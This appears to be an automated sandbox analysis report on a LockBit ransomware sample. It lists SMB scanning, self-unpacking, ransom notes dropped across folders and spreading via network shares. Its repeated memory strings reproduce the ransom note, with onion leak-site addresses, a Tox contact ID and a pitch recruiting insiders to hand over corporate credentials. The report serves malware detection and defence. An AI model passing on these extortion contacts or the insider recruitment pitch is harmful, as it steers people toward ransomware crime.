Source: global traffic	TCP traffic: 192.168.2.72:445
Source: global traffic	TCP traffic: 192.168.2.198:445
Source: global traffic	TCP traffic: 192.168.2.64:445
Source: global traffic	TCP traffic: 192.168.2.63:445
Source: global traffic	TCP traffic: 192.168.2.66:445
Source: global traffic	TCP traffic: 192.168.2.168:445
Source: global traffic	TCP traffic: 192.168.2.65:445
Source: global traffic	TCP traffic: 192.168.2.169:445
Source: global traffic	TCP traffic: 192.168.2.68:445
Source: global traffic	TCP traffic: 192.168.2.67:445
Source: global traffic	TCP traffic: 192.168.2.69:445
Source: global traffic	TCP traffic: 192.168.2.162:445
Source: global traffic	TCP traffic: 192.168.2.163:445
Source: global traffic	TCP traffic: 192.168.2.160:445
Source: global traffic	TCP traffic: 192.168.2.161:445
Source: global traffic	TCP traffic: 192.168.2.60:445
Source: global traffic	TCP traffic: 192.168.2.166:445
Source: global traffic	TCP traffic: 192.168.2.167:445
Source: global traffic	TCP traffic: 192.168.2.62:445
Source: global traffic	TCP traffic: 192.168.2.164:445
Source: global traffic	TCP traffic: 192.168.2.61:445
Source: global traffic	TCP traffic: 192.168.2.165:445
Source: global traffic	TCP traffic: 192.168.2.170:445
Source: global traffic	TCP traffic: 192.168.2.49:445
Source: global traffic	TCP traffic: 192.168.2.53:445
Source: global traffic	TCP traffic: 192.168.2.52:445
Source: global traffic	TCP traffic: 192.168.2.55:445
Source: global traffic	TCP traffic: 192.168.2.179:445
Source: global traffic	TCP traffic: 192.168.2.54:445
Source: global traffic	TCP traffic: 192.168.2.57:445
Source: global traffic	TCP traffic: 192.168.2.56:445
Source: global traffic	TCP traffic: 192.168.2.59:445
Source: global traffic	TCP traffic: 192.168.2.58:445
Source: global traffic	TCP traffic: 192.168.2.173:445
Source: global traffic	TCP traffic: 192.168.2.174:445
Source: global traffic	TCP traffic: 192.168.2.171:445
Source: global traffic	TCP traffic: 192.168.2.172:445
Source: global traffic	TCP traffic: 192.168.2.177:445
Source: global traffic	TCP traffic: 192.168.2.178:445
Source: global traffic	TCP traffic: 192.168.2.51:445
Source: global traffic	TCP traffic: 192.168.2.175:445
Source: global traffic	TCP traffic: 192.168.2.50:445
Source: global traffic	TCP traffic: 192.168.2.176:445

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 0.2.Pna3t7DeL3.exe.400000.0.unpack
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 10.2.Pna3t7DeL3.exe.400000.0.unpack
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 18.2.Pna3t7DeL3.exe.400000.0.unpack
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 26.2.Pna3t7DeL3.exe.400000.0.unpack
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 34.2.Pna3t7DeL3.exe.400000.0.unpack

Source: Pna3t7DeL3.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Directory created: C:\program files\microsoft office\office16\1033\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Directory created: C:\program files\microsoft office\office16\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Directory created: C:\program files\microsoft office\office16\onenote\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Directory created: C:\program files\unp\logs\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Directory created: C:\program files\unp\updatenotificationmgr\Restore-My-Files.txt	Jump to behavior

Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\plug_ins\Multimedia\MPP\Flash.pdb source: flash.mpp.lockbit.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\plug_ins\ppklite.pdb source: ppklite.api.lockbit.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\plug_ins\Annots.pdb source: annots.api.lockbit.0.dr
Source:	Binary string: datamatrixpmp.pdb source: datamatrix.pmp.lockbit.0.dr
Source:	Binary string: C:\dunejaluze\womev18-rabawije\70\tajonexame\cus\hekukige.pdb source: Pna3t7DeL3.exe
Source:	Binary string: datamatrixpmp.pdb44 source: datamatrix.pmp.lockbit.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\plug_ins\Multimedia\MPP\Flash.pdb885 source: flash.mpp.lockbit.0.dr
Source:	Binary string: (VC:\dunejaluze\womev18-rabawije\70\tajonexame\cus\hekukige.pdb source: Pna3t7DeL3.exe

Spreading

Spreads via windows shares (copies files to share folders)

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File created: Z:\8E5BB08F.lock	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File created: Z:\$RECYCLE.BIN	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File created: Z:\$RECYCLE.BIN\S-1-5-21-3853321935-2125563209-4053062332-1002	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File created: Z:\$RECYCLE.BIN\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.ini	Jump to behavior

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 4x nop then push edx
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 4x nop then push edx

Networking

Found Tor onion address

Source: Pna3t7DeL3.exe	String found in binary or memory: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
Source: Pna3t7DeL3.exe, 00000000.00000002.525537655.0000000006330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Pna3t7DeL3.exe, 00000000.00000002.525537655.0000000006330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Pna3t7DeL3.exe, 00000000.00000002.525537655.0000000006330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Pna3t7DeL3.exe, 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 00000000.00000002.513565220.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: ll be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Pna3t7DeL3.exe, 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe	String found in binary or memory: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
Source: Pna3t7DeL3.exe, 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Pna3t7DeL3.exe, 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: LProxima NovaAll your files stolen and encryptedfor more information seeRESTORE-MY-FILES.TXTthat is located in every encrypted folder.Would you like to earn millions of dollars?Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company.You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company.Companies pay us the foreclosure for the decryption of files and prevention of data leak.You can communicate with us through the Tox messengerhttps://tox.chat/download.htmlUsing Tox messenger, we will never know your real name, it means your privacy is guaranteed.If you want to contact us, use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave Browserhttp://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/bmp
Source: Restore-My-Files.txt8.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt8.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt8.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt101.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt101.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt101.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt134.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt134.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt134.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt257.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt257.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt257.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt103.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt103.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt103.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt50.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt50.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt50.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt119.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt119.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt119.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt64.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt64.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt64.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt98.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt98.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt98.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt57.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt57.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt57.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt159.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt159.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt159.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt11.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt11.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt11.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt205.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt205.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt205.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt174.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt174.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt174.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt36.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
